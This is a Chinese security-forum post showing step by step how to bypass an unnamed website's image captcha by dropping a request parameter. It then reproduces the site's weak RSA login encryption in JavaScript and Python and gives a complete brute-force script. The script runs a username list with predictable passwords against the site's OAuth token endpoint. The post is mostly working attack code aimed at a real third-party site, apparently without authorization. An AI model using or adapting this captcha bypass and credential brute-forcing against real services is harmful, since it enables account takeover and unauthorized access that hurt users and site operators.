用户
搜索
  • TA的每日心情
    开心
    6 小时前
  • 签到天数: 193 天

    连续签到: 2 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    63

    主题

    127

    帖子

    3258

    魔法币
    收听
    0
    粉丝
    8
    注册时间
    2020-10-2

    积极活跃奖

    发表于 2021-8-2 18:37:08 11792
    本帖最后由 Johnson666 于 2021-8-2 18:47 编辑

    某网站登录的时候如下:
    1.png
    然后我去掉j_authcode以及一些无用参数,可以绕过图形验证码

    2.png

    然后这样就可以进行爆破了。但是我们可以看到usernamepassword均经过加密,这究竟是什么加密呢?我们来看看前端代码。


    3.png


    可以看到这里是RSA加密。然后通过断点查看exponentmodulus的值。
    4.png

    值是固定的,搜索后发现就存储在config.js中,也就是说RSA公钥为modulus。
    但这是一个256位公钥的RSA加密,在其他环境中几乎找不到这种加密项目,而js中有RSA.js/Barrett.js/BigInt.js这么一个早期项目。这种时候就需要用python去调js代码来进行加密。
    先写出js加密的代码来看看效果:
    [AppleScript] 纯文本查看 复制代码
    <s cript src="./rsa/RSA.js" type="text/j avas cript"></s cript>
    
    <s cript src="./rsa/BigInt.js" type="text/j avas cript"></s cript>
    
    <s cript src="./rsa/Barrett.js" type="text/j avas cript"></s cript>
    
    <s cript src="./rsa/config.js" type="text/j avas cript"></s cript>
    
    <s cript>
    
    functiona(paramStr){
    
        setMaxDigits(130);
    
        key = new RSAKeyPair(exponent, "", modulus); 
    
        return encryptedString(key,encodeURIComponent(paramStr));
    
        }
    
    qqq= a("admin");
    
    a lert(qqq);
    
    </s cript>
    5.png
    这里可以看到和Burp Suite里是一模一样,然后把4个js带html里的js代码合并在同一个文件里,用python的execjs库去调。
    [AppleScript] 纯文本查看 复制代码
    import execjs
    
    defrsa(str):
    
        file = 'RSA.js'
    
        ctx = execjs.compile(open(file).read())
    
        js = 'a("'+str+'")'
    
        params = ctx.e val(js)
    
        return params
    
    print(rsa("admin"))
    
    [align=left]
    6.png
    最后写出来爆破的脚本:
    [AppleScript] 纯文本查看 复制代码
    import requests
    
    import execjs
    
    requests.packages.urllib3.disable_warnings()
    
    defurlpost(username,password):
    
        rusername = rsa(username)
    
        rpassword = rsa(password)
    
        url = "https://x.com/oauth/token"
    
        header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0)Gecko/20100101 Firefox/79.0",
    
              "X-Requested-With": "X MLHttpRequest",
    
              "Content-Type": "application/x-www-form-urlencoded"
    
              }
    
        cookie = {}
    
        data = {"username":rusername,
    
                "password":rpassword,
    
                "grant_type":"password",
    
                "scope":"service",
    
                "client_id":"spm",
    
                "client_secret":"sinoprof"
    
                }
    
        r =requests.post(url,cookies=cookie,headers=header,data=data,allow_redirects=False,verify=False)
    
        print(r.status_code)
    
        if r.status_code == 200:
    
            print(username+password+"success")
    
            exit()
    
        else:
    
            print(username+password+"error")
    
    defrsa(str):
    
        file = 'RSA.js'
    
        ctx = execjs.compile(open(file).read())
    
        js = 'a("'+str+'")'
    
        params = ctx.e val(js)
    
        return params
    
    folist= open('user.txt','r')
    
    for i in folist.readlines():
    
        i = i.replace('\n','')
    
        urlpost(i,i+"!@#456")
    
        urlpost(i,i+"!@#123")
    
        urlpost(i,"123456")
    最终效果如下图所示:
    7.png





    发表于 2021-8-5 15:17:56
    不错,学习了
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册